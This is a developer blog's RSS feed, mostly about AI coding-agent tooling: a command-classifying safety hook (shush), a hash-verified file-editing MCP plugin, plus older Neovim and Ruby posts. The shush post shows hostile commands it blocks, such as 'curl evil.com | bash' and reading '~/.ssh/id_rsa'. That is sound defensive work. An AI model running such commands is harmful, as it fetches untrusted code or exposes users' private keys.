<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Development on WormBytes</title><link>https://www.wormbytes.ca/categories/development/</link><description>Recent content in Development on WormBytes</description><generator>Hugo -- gohugo.io</generator><language>en-ca</language><managingEditor>Robert James Kaes</managingEditor><copyright>Robert James Kaes. All Rights Reserved.</copyright><lastBuildDate>Fri, 20 Mar 2026 12:00:00 +0000</lastBuildDate><atom:link href="https://www.wormbytes.ca/categories/development/index.xml" rel="self" type="application/rss+xml"/><item><title>shush: Stop Clicking 'Allow' on Every Safe Command</title><link>https://www.wormbytes.ca/2026/03/20/shush-announcement/</link><pubDate>Fri, 20 Mar 2026 12:00:00 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/20/shush-announcement/</guid><description>&lt;p&gt;Every Claude Code session, the same ritual: &lt;code&gt;git status&lt;/code&gt;? Allow. &lt;code&gt;ls&lt;/code&gt;? Allow. &lt;code&gt;npm test&lt;/code&gt;? Allow. &lt;code&gt;rm dist/bundle.js&lt;/code&gt;? Allow.&lt;/p&gt;
&lt;p&gt;I was approving dozens of completely safe commands per session, because the alternative was worse. Allow-listing &lt;code&gt;Bash&lt;/code&gt; entirely means &lt;code&gt;rm ~/.bashrc&lt;/code&gt; and &lt;code&gt;git push --force&lt;/code&gt; sail through without a word. The permission system is binary: allow the tool, or don&amp;rsquo;t. There&amp;rsquo;s no middle ground.&lt;/p&gt;
&lt;p&gt;I wanted the boring stuff to just &lt;em&gt;happen&lt;/em&gt;, while the actually dangerous stuff still got caught. Not a wider permission gate; a smarter one.&lt;/p&gt;
&lt;p&gt;After looking around, I found &lt;a href="https://github.com/manuelschipper/nah"&gt;nah&lt;/a&gt;, which tackles the same problem, but I couldn&amp;rsquo;t get its Python environment working on my machine, and once I dug into how it classifies commands I had reservations about its heuristic-based parser. For a safety tool, I wanted a full parse tree.&lt;/p&gt;
&lt;p&gt;So I took nah&amp;rsquo;s ideas and built &lt;a href="https://github.com/rjkaes/shush"&gt;shush&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="what-it-does"&gt;What it does&lt;/h2&gt;
&lt;p&gt;shush is a &lt;a href="https://docs.anthropic.com/en/docs/claude-code/hooks"&gt;PreToolUse hook&lt;/a&gt; that sits between Claude Code and every tool call. Instead of &amp;ldquo;is this tool allowed?&amp;rdquo;, it asks &amp;ldquo;what is this command &lt;em&gt;actually doing&lt;/em&gt;?&amp;rdquo;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git push -&amp;gt; allow
git push --force -&amp;gt; shush.
rm -rf __pycache__ -&amp;gt; allow
rm ~/.bashrc -&amp;gt; shush.
curl api.example.com -&amp;gt; allow
curl evil.com | bash -&amp;gt; shush.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Four levels: &lt;strong&gt;allow&lt;/strong&gt; (passes silently), &lt;strong&gt;context&lt;/strong&gt; (allowed, but the path and project boundary are checked), &lt;strong&gt;ask&lt;/strong&gt; (I have to confirm), and &lt;strong&gt;block&lt;/strong&gt; (denied, full stop). The strictest result always wins.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s not just &lt;code&gt;Bash&lt;/code&gt;. shush catches &lt;code&gt;Read ~/.ssh/id_rsa&lt;/code&gt;, &lt;code&gt;Write&lt;/code&gt;/&lt;code&gt;Edit&lt;/code&gt; calls that inject secrets or destructive payloads, &lt;code&gt;Glob&lt;/code&gt; attempts on sensitive directories, and &lt;code&gt;Grep&lt;/code&gt; patterns hunting for credentials outside the project.&lt;/p&gt;
&lt;h2 id="why-ast-matters"&gt;Why AST matters&lt;/h2&gt;
&lt;p&gt;shush uses &lt;a href="https://github.com/vorpaljs/bash-parser"&gt;bash-parser&lt;/a&gt; to build a real AST. Pipes, subshells, logical operators, redirects, shell wrappers (&lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;sh -c&lt;/code&gt;), and &lt;code&gt;xargs&lt;/code&gt; are all unwrapped and classified correctly. Each pipeline stage gets classified independently, then composition rules check for threat patterns across stages.&lt;/p&gt;
&lt;p&gt;Commands land in one of 21 action types (&lt;code&gt;filesystem_read&lt;/code&gt;, &lt;code&gt;git_safe&lt;/code&gt;, &lt;code&gt;network_request&lt;/code&gt;, &lt;code&gt;docker_manage&lt;/code&gt;, etc.), each with a default policy. A prefix trie (1,173 entries) gives fast lookup with no runtime I/O. Flag-level classifiers handle the nuance: &lt;code&gt;git push&lt;/code&gt; is safe, &lt;code&gt;git push --force&lt;/code&gt; is not.&lt;/p&gt;
&lt;p&gt;No LLMs in the loop. Every decision is deterministic and traceable.&lt;/p&gt;
&lt;h2 id="the-result"&gt;The result&lt;/h2&gt;
&lt;p&gt;I allow-list &lt;code&gt;Bash&lt;/code&gt;, &lt;code&gt;Read&lt;/code&gt;, &lt;code&gt;Glob&lt;/code&gt;, and &lt;code&gt;Grep&lt;/code&gt; in Claude Code&amp;rsquo;s permissions and let shush guard them. The flow of a session is &lt;em&gt;so much better&lt;/em&gt;. Safe commands execute silently. Dangerous ones get caught. I only get interrupted for the genuinely ambiguous cases.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s configurable (global &lt;code&gt;~/.config/shush/config.yaml&lt;/code&gt;, per-project &lt;code&gt;.shush.yaml&lt;/code&gt;), but the defaults are tuned so most people won&amp;rsquo;t need to touch anything.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin marketplace add rjkaes/shush
/plugin install shush
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two commands. No configuration. The code is on GitHub: &lt;a href="https://github.com/rjkaes/shush"&gt;rjkaes/shush&lt;/a&gt;. Apache-2.0, TypeScript, built with &lt;a href="https://bun.sh"&gt;Bun&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>trueline-mcp v2: Now For Everyone, Not Just Claude Code</title><link>https://www.wormbytes.ca/2026/03/06/trueline-v2-announcement/</link><pubDate>Fri, 06 Mar 2026 12:00:00 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/06/trueline-v2-announcement/</guid><description>&lt;p&gt;Two days ago I &lt;a href="https://www.wormbytes.ca/2026/03/04/trueline-mcp-announcement/"&gt;announced trueline-mcp&lt;/a&gt;, hash-verified, token-efficient file editing for Claude Code.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve been using it to build new features and performance improvements. It
works great!&lt;/p&gt;
&lt;p&gt;But it only worked with Claude Code, and the MCP protocol doesn&amp;rsquo;t care which agent is on the other end of the pipe.&lt;/p&gt;
&lt;p&gt;So I made it work everywhere.&lt;/p&gt;
&lt;h2 id="five-platforms-one-tool"&gt;Five platforms, one tool&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline-mcp&lt;/a&gt; v2.0 supports &lt;strong&gt;Gemini CLI&lt;/strong&gt;, &lt;strong&gt;VS Code Copilot&lt;/strong&gt;, &lt;strong&gt;OpenCode&lt;/strong&gt;, and &lt;strong&gt;Codex CLI&lt;/strong&gt; alongside Claude Code. Same hash-verified edits, same token savings, regardless of which agent you&amp;rsquo;re running.&lt;/p&gt;
&lt;p&gt;The hook system got a complete refactoring to make this possible. Platform-specific logic (tool names, response shapes, event naming) is isolated into thin wrappers around a shared core. A universal CLI dispatcher normalizes everything:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;trueline-hook &amp;lt;platform&amp;gt; &amp;lt;event&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gemini calls its pre-tool event &lt;code&gt;beforetool&lt;/code&gt;. Claude Code calls it &lt;code&gt;pretooluse&lt;/code&gt;. The dispatcher routes both to the same verification logic.&lt;/p&gt;
&lt;p&gt;Each platform gets its own instruction file tuned to that agent&amp;rsquo;s built-in tool names. The &lt;code&gt;read_file&lt;/code&gt; → &lt;code&gt;trueline_read&lt;/code&gt; redirect that makes sense for Gemini CLI would be nonsensical for Claude Code&amp;rsquo;s &lt;code&gt;Read&lt;/code&gt; tool. These details matter when you&amp;rsquo;re intercepting tool calls.&lt;/p&gt;
&lt;p&gt;You can also install it from npm now:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;npm install -g trueline-mcp
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="trueline_outline-skip-reading-entirely"&gt;&lt;code&gt;trueline_outline&lt;/code&gt;: skip reading entirely!&lt;/h2&gt;
&lt;p&gt;v1.1 added a fourth tool: &lt;code&gt;trueline_outline&lt;/code&gt;. It uses tree-sitter (via WASM) to extract the structural skeleton of a file (functions, classes, types, interfaces) without reading the source. Think of it as a table of contents.&lt;/p&gt;
&lt;p&gt;For navigation and understanding, that&amp;rsquo;s usually &lt;em&gt;enough&lt;/em&gt;. The agent doesn&amp;rsquo;t need to read 400 lines of a file to find the function it wants to edit. It outlines the file, identifies the 15-line range, reads just those lines, and edits. That&amp;rsquo;s a ~95% token reduction on the read side for the common case.&lt;/p&gt;
&lt;p&gt;Supported languages: TypeScript, JavaScript, Python, Rust, Go, Java, C, C++, C#, Ruby, Swift, and more.&lt;/p&gt;
&lt;h2 id="smarter-hook-less-friction"&gt;Smarter hook, less friction&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;PreToolUse&lt;/code&gt; hook that blocks the built-in Edit tool used to be a blunt instrument. It blocked &lt;em&gt;every&lt;/em&gt; edit attempt and redirected to trueline. Problem is, trueline can&amp;rsquo;t access every file. If a file is outside the allowed directories or matches a deny pattern, the block just caused a confusing failure.&lt;/p&gt;
&lt;p&gt;Now the hook checks whether trueline actually has access to the target file before blocking. If it doesn&amp;rsquo;t, the built-in tool is allowed through. Same security boundary, fewer dead ends.&lt;/p&gt;
&lt;h2 id="performance"&gt;Performance&lt;/h2&gt;
&lt;p&gt;Two targeted optimizations in the hot paths:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read path&lt;/strong&gt; — Pre-computed a static lookup table for hash encoding (replacing per-line &lt;code&gt;String.fromCharCode&lt;/code&gt; calls) and switched to buffer-based output assembly. Lines stay as raw &lt;code&gt;Buffer&lt;/code&gt; bytes through the loop with a single decode at the end.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edit path&lt;/strong&gt; — Pass-through lines (the vast majority in any edit) were being hashed twice: once for checksum verification, once for the output file. Now they reuse the first hash.&lt;/p&gt;
&lt;p&gt;The diff engine also got replaced. The old &lt;code&gt;diff&lt;/code&gt; npm dependency compared two full file snapshots in memory. The new &lt;code&gt;DiffCollector&lt;/code&gt; builds unified diffs incrementally during the streaming edit pass. One fewer dependency, no full-file buffering.&lt;/p&gt;
&lt;h2 id="install"&gt;Install&lt;/h2&gt;
&lt;p&gt;If you&amp;rsquo;re on Claude Code and already have trueline installed, update to the latest:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin install trueline-mcp@trueline-mcp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;rsquo;re new, or on a different platform, setup instructions for all five platforms are in &lt;a href="https://github.com/rjkaes/trueline-mcp/blob/main/INSTALL.md"&gt;INSTALL.md&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The core is solid. The edit verification, streaming architecture, and token savings work the same across all platforms now. If you&amp;rsquo;re burning tokens on string-matched edits, &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;give it a shot&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Claude Code's Edit Tool Wastes Your Most Expensive Tokens. Here's a Fix.</title><link>https://www.wormbytes.ca/2026/03/04/trueline-mcp-announcement/</link><pubDate>Wed, 04 Mar 2026 15:32:47 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2026/03/04/trueline-mcp-announcement/</guid><description>&lt;p&gt;You&amp;rsquo;re deep into a Claude Code session. The agent is humming along, editing files, and making progress.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And quietly bleeding money on every single edit.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s why. The built-in &lt;code&gt;Edit&lt;/code&gt; tool uses string matching. To change five lines of code, the model has to echo back those exact five lines as &lt;code&gt;old_string&lt;/code&gt;, then provide the replacement as &lt;code&gt;new_string&lt;/code&gt;. That echoed text is pure overhead: it&amp;rsquo;s already in the file. The model is spending output tokens, the &lt;strong&gt;most expensive token class&lt;/strong&gt;, just to point at code and say &amp;ldquo;I mean &lt;em&gt;this&lt;/em&gt; part.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;For a typical 15-line edit, that&amp;rsquo;s &lt;strong&gt;~200 wasted output tokens&lt;/strong&gt;. Do a few dozen edits in a session (not unusual for any real feature work) and you&amp;rsquo;re burning serious money on text the model already knows is there.&lt;/p&gt;
&lt;p&gt;It gets worse when something goes wrong. If the file changed since the agent last read it (maybe you saved in your editor, maybe another tool touched it) the string match fails. The model hallucinating a character or two has the same effect. Either way, the edit errors out, the agent re-reads the whole file to get back in sync, and you&amp;rsquo;ve just paid for all that content &lt;em&gt;again&lt;/em&gt;. In longer sessions, these re-reads compound.&lt;/p&gt;
&lt;p&gt;I got tired of watching this happen, so I built &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline-mcp&lt;/a&gt; to fix both problems.&lt;/p&gt;
&lt;h2 id="the-token-tax-on-every-edit"&gt;The token tax on every edit&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s look at what&amp;rsquo;s actually happening. Here&amp;rsquo;s the built-in &lt;code&gt;Edit&lt;/code&gt; under the hood. The model has to echo the old text just to locate the change:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="background-color:#f8f8f8;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;file_path&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;src/server.ts&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;old_string&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;export function handleRequest(req: Request) {\n const body = await req.json();\n validate(body);\n return process(body);\n}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;new_string&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;export function handleRequest(req: Request) {\n const body = await req.json();\n const parsed = schema.parse(body);\n return process(parsed);\n}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See all that duplicated text? &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; replaces it with a compact line-range reference:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="background-color:#f8f8f8;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;file_path&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;src/server.ts&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;edits&amp;#34;&lt;/span&gt;: [{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;checksum&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;1-50:a3b1c2d4&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;range&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;12:kf..16:qz&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#008000;font-weight:bold"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;: &lt;span style="color:#b44"&gt;&amp;#34;export function handleRequest(req: Request) {\n const body = await req.json();\n const parsed = schema.parse(body);\n return process(parsed);\n}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The model never echoes the old text. It says which lines to replace, proves it read them correctly, and provides the new content. ~200 fewer output tokens per edit, on the most expensive token class.&lt;/p&gt;
&lt;p&gt;Oh, and there&amp;rsquo;s a fun gotcha with the built-in tool: if &lt;code&gt;old_string&lt;/code&gt; appears more than once in the file, the edit fails. The model has to pad in extra context lines until the match is unique. Yet more wasted tokens. &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; addresses lines directly. No ambiguity, no padding.&lt;/p&gt;
&lt;h2 id="every-edit-is-verified-against-reality"&gt;Every edit is verified against reality&lt;/h2&gt;
&lt;p&gt;The same mechanism that saves tokens is what makes edits reliable. When the agent reads a file through &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt;, every line comes back tagged with a short hash:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1:bx|import { Server } from &amp;#34;@modelcontextprotocol/sdk/server/index.js&amp;#34;;
2:dd|
3:ew|const server = new Server({ name: &amp;#34;trueline-mcp&amp;#34;, version: &amp;#34;0.1.0&amp;#34; });
checksum: 1-3:8a64a3f7
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When the agent wants to edit, it echoes those hashes back. If the file changed since the read the hashes won&amp;rsquo;t match and the edit is &lt;strong&gt;rejected before it touches disk&lt;/strong&gt;. No silent corruption, no guessing, no &amp;ldquo;why does this file look wrong?&amp;rdquo; twenty minutes later.&lt;/p&gt;
&lt;p&gt;This is the part that kills the re-read cycle. Instead of the agent discovering a stale match, failing, re-reading the whole file, and trying again, &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; catches the mismatch immediately and tells the agent exactly what&amp;rsquo;s wrong. One targeted re-read of the changed range, and it&amp;rsquo;s back on track.&lt;/p&gt;
&lt;p&gt;Multiple edits to the same file go through in a single call too, each independently verified. The built-in &lt;code&gt;Edit&lt;/code&gt; handles one replacement per call, so &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; cuts tool-call overhead for multi-site changes.&lt;/p&gt;
&lt;h2 id="three-tools-zero-config"&gt;Three tools, zero config&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;trueline_read&lt;/code&gt;&lt;/strong&gt; — reads a file, tags each line with a hash, returns a range checksum.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;trueline_edit&lt;/code&gt;&lt;/strong&gt; — verifies hashes, then applies the edit atomically. Supports multiple edits per call.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;trueline_diff&lt;/code&gt;&lt;/strong&gt; — same verification, but outputs a unified diff without touching disk. Good for previewing changes before committing to them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once installed, a &lt;code&gt;SessionStart&lt;/code&gt; hook nudges the agent toward the &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; tools, and a &lt;code&gt;PreToolUse&lt;/code&gt; hook blocks the built-in &lt;code&gt;Edit&lt;/code&gt; tool so it can&amp;rsquo;t fall back to string matching. You don&amp;rsquo;t have to think about it—the agent uses verified edits from the start, automatically.&lt;/p&gt;
&lt;p&gt;Security-wise, &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; enforces the same deny patterns Claude Code uses (&lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;*.key&lt;/code&gt;, etc.)&lt;/p&gt;
&lt;h2 id="try-it"&gt;Try it&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/plugin marketplace add rjkaes/trueline-mcp
/plugin install trueline-mcp@trueline-mcp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two commands. Your next Claude Code session will use hash-verified edits automatically. No configuration, no changes to your workflow. Fewer wasted tokens and edits that don&amp;rsquo;t silently corrupt your code.&lt;/p&gt;
&lt;h2 id="prior-art"&gt;Prior art&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://blog.can.ac/2026/02/12/the-harness-problem/"&gt;Can Boluk&lt;/a&gt; described the underlying problem (AI agents working against stale state) and &lt;a href="https://github.com/sethml/vscode-hashline-edit-tool"&gt;Seth Livingston&lt;/a&gt; built a hash-line edit tool for VS Code. &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;trueline&lt;/a&gt; brings the same idea to Claude Code as an &lt;a href="https://modelcontextprotocol.io/"&gt;MCP&lt;/a&gt; plugin.&lt;/p&gt;
&lt;p&gt;The code is on GitHub: &lt;a href="https://github.com/rjkaes/trueline-mcp"&gt;rjkaes/trueline-mcp&lt;/a&gt;. Apache-2.0, TypeScript, built with &lt;a href="https://bun.sh"&gt;Bun&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Lazy Loading Neovim Plugins</title><link>https://www.wormbytes.ca/2023/01/30/neovim-lazy-loading/</link><pubDate>Mon, 30 Jan 2023 15:18:40 -0500</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2023/01/30/neovim-lazy-loading/</guid><description>&lt;p&gt;A couple of weeks ago I decided to redo my &lt;a href="https://neovim.io/"&gt;Neovim&lt;/a&gt;
configuration and lean into &lt;a href="https://www.lua.org/"&gt;Lua&lt;/a&gt;. The goal was to
optimize startup performance and improve usability.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Follow along with &lt;a href="https://github.com/rjkaes/neovim-dotfiles"&gt;my neovim dotfiles repo&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For years, I used &lt;a href="https://github.com/junegunn/vim-plug"&gt;Plug&lt;/a&gt; to manage my
vim plugins, but after seeing &lt;a href="https://github.com/tjdevries"&gt;TJ DeVries&lt;/a&gt;
experiment with &lt;a href="https://github.com/folke/lazy.nvim"&gt;lazy.nvim&lt;/a&gt;, I decided to
go all in!&lt;/p&gt;
&lt;p&gt;By far, the biggest challenge was learning Lua 5.1. All the scripting
languages I&amp;rsquo;ve used in the past (&lt;a href="https://www.ruby-lang.org/en/"&gt;Ruby&lt;/a&gt;,
&lt;a href="https://www.perl.org/"&gt;Perl&lt;/a&gt;, &lt;a href="https://www.python.org/"&gt;Python&lt;/a&gt;) emphasize a
&amp;ldquo;batteries included&amp;rdquo; approach. Lua, in contrast, felt like I had to assemble
everything from tiny parts.&lt;/p&gt;
&lt;p&gt;Once I got past the Lua hurdle, the rest of the conversion was
straightforward. Most of the time I could swap out Vimscript with
neovim Lua API methods via a &lt;abbr title="regular expression"&gt;regexp&lt;/abbr&gt;.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m pleased with the results. Startup time is faster, there are fewer weird
bugs, and I understand all the configurations.&lt;/p&gt;</description></item><item><title>Seventeen Years and a Million Lines of Code</title><link>https://www.wormbytes.ca/2022/05/03/seventeen-years-and-a-million-lines-of-code/</link><pubDate>Tue, 03 May 2022 11:36:29 -0400</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2022/05/03/seventeen-years-and-a-million-lines-of-code/</guid><description>&lt;p&gt;I was looking at my old development projects recently when I noticed that &lt;em&gt;all&lt;/em&gt; of them predate
2005. In 2005, I started work at &lt;a href="https://www.ePublishing.com/"&gt;ePublishing&lt;/a&gt;
as a &lt;a href="https://www.perl.org/"&gt;Perl&lt;/a&gt; developer. In the past 17 years I&amp;rsquo;ve been:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;a href="https://www.ruby-lang.org/en/"&gt;Ruby&lt;/a&gt; and &lt;a href="https://rubyonrails.org/"&gt;Rails&lt;/a&gt; developer&lt;/li&gt;
&lt;li&gt;VP of Software Engineering&lt;/li&gt;
&lt;li&gt;Chief Software Architect&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In all that time, I&amp;rsquo;ve written hundreds of thousands of lines of code (maybe more
than a million), but it&amp;rsquo;s locked away.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s a bit depressing that almost two-decades of creativity is
forever hidden from view. It&amp;rsquo;s the curse of corporate development: we can
write blogs, give talks, and prepare papers, but we can&amp;rsquo;t show the code
itself. All anyone sees are &lt;a href="https://en.wikipedia.org/wiki/Allegory_of_the_cave"&gt;shadows on the wall&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;More companies should release their source code. Most
of what we write is not &lt;a href="https://www.collinsdictionary.com/dictionary/english/crown-jewel"&gt;the company&amp;rsquo;s crown
jewels&lt;/a&gt;.
Let people see how you solved that weird 3rd-party integration! Or how you
monitor some obscure open-source service.&lt;/p&gt;
&lt;p&gt;Every company is standing on a mountain of
&lt;a href="https://opensource.com/resources/what-open-source"&gt;open-source&lt;/a&gt; code. Give
back and let
your developers have the opportunity to show off!&lt;/p&gt;</description></item><item><title>Gem Home for Fish Shell</title><link>https://www.wormbytes.ca/2018/04/30/gem-home-for-fish-shell/</link><pubDate>Mon, 30 Apr 2018 15:58:06 -0400</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2018/04/30/gem-home-for-fish-shell/</guid><description>&lt;p&gt;In a recent &lt;a href="https://www.twitch.tv/garybernhardt"&gt;twitch stream&lt;/a&gt;,
&lt;a href="https://twitter.com/garybernhardt"&gt;Gary Bernhardt&lt;/a&gt; showed a bit of
behind-the-scenes in how he prepares his development environment for recording
a screencast.&lt;/p&gt;
&lt;p&gt;One of the tools he showed in passing was
&lt;a href="https://github.com/postmodern/gem_home"&gt;&lt;code&gt;gem_home&lt;/code&gt;&lt;/a&gt; by
&lt;a href="https://postmodern.github.io/"&gt;Hal Brodigan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gem_home&lt;/code&gt; is a simple script that manipulates
&lt;a href="https://www.ruby-lang.org/"&gt;Ruby&amp;rsquo;s&lt;/a&gt; &lt;code&gt;GEM_HOME&lt;/code&gt; and &lt;code&gt;GEM_PATH&lt;/code&gt; environmental
variables in order to keep separate ruby gem locations.&lt;/p&gt;
&lt;p&gt;By using &lt;code&gt;gem_home&lt;/code&gt;, there is no longer a requirement to prefix all ruby
commands with &lt;code&gt;bundle exec&lt;/code&gt;. All the gems for a project are local to the
project, which eliminates conflicts that might arise when gems for multiple
projects are mixed together in one location.&lt;/p&gt;
&lt;p&gt;Eliminating the need for &lt;code&gt;bundle exec&lt;/code&gt; allows commands such as &lt;code&gt;rspec&lt;/code&gt; to
execute &lt;em&gt;much&lt;/em&gt; quicker!&lt;/p&gt;
&lt;p&gt;Unfortunately for me, I recently switched over to using
&lt;a href="https://fishshell.com/"&gt;fish shell&lt;/a&gt; from &lt;a href="https://www.zsh.org/"&gt;ZSH&lt;/a&gt;. Hal&amp;rsquo;s &lt;code&gt;gem_home&lt;/code&gt; only supports
&lt;a href="https://www.gnu.org/software/bash/"&gt;Bash&lt;/a&gt; and &lt;a href="https://www.zsh.org/"&gt;ZSH&lt;/a&gt;. 🙁&lt;/p&gt;
&lt;p&gt;One nice thing about &lt;code&gt;gem_home&lt;/code&gt; is how simple and straightforward it is. In a
few hours I was able to replicate its functionality as a &lt;a href="https://fishshell.com/"&gt;fish shell&lt;/a&gt; compatible
script!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/rjkaes/gem_home"&gt;https://github.com/rjkaes/gem_home&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&amp;rsquo;re using ruby and &lt;a href="https://fishshell.com/"&gt;fish shell&lt;/a&gt;, I would highly recommend using my
implementation of &lt;code&gt;gem_home&lt;/code&gt; along with
&lt;a href="https://github.com/JeanMertz/"&gt;Jean Mertz&amp;rsquo;s&lt;/a&gt;
wrapper around &lt;a href="https://github.com/JeanMertz/chruby-fish"&gt;chruby&lt;/a&gt;. Both of
